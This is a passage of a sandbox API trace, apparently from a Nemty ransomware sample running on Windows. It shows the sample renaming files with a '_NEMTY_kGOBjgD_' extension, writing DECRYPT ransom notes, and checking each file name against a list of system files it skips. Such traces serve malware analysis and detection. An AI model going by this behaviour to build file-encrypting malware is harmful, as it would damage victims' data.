nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0123.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.547] CloseHandle (hObject=0xffffffff) returned 0 [0123.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402c8 [0123.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340350 [0123.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63403d8 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0123.548] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0123.548] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0123.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0123.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0123.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0123.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0123.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0123.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0123.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0123.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0123.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0123.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0123.549] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0123.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0123.557] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.557] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0123.558] CloseHandle (hObject=0x1ec) returned 1 [0123.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340158 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0123.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340268 [0123.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340310 [0123.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0123.559] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0123.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0123.559] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.559] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0123.560] CloseHandle (hObject=0x1ec) returned 1 [0123.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0123.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfd49ceb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd49ceb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0123.561] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0123.561] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfd49ceb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd49ceb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0123.561] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0123.561] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0123.561] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2=".") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="..") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="...") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="windows") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="$RECYCLE.BIN") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="rsa") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="NTDETECT.COM") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="ntldr") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="MSDOS.SYS") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="IO.SYS") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="boot.ini") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="boot.ini") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="AUTOEXEC.BAT") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="ntuser.dat") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="desktop.ini") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="CONFIG.SYS") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="RECYCLER") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="BOOTSECT.BAK") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="bootmgr") returned 1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="programdata") returned -1 [0123.561] lstrcmpiW (lpString1="cpu.html", lpString2="appdata") returned 1 [0123.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.html", lpUsedDefaultChar=0x0) returned 8 [0123.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0123.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.html", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.html", lpUsedDefaultChar=0x0) returned 8 [0123.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.562] RtlAllocateHeap 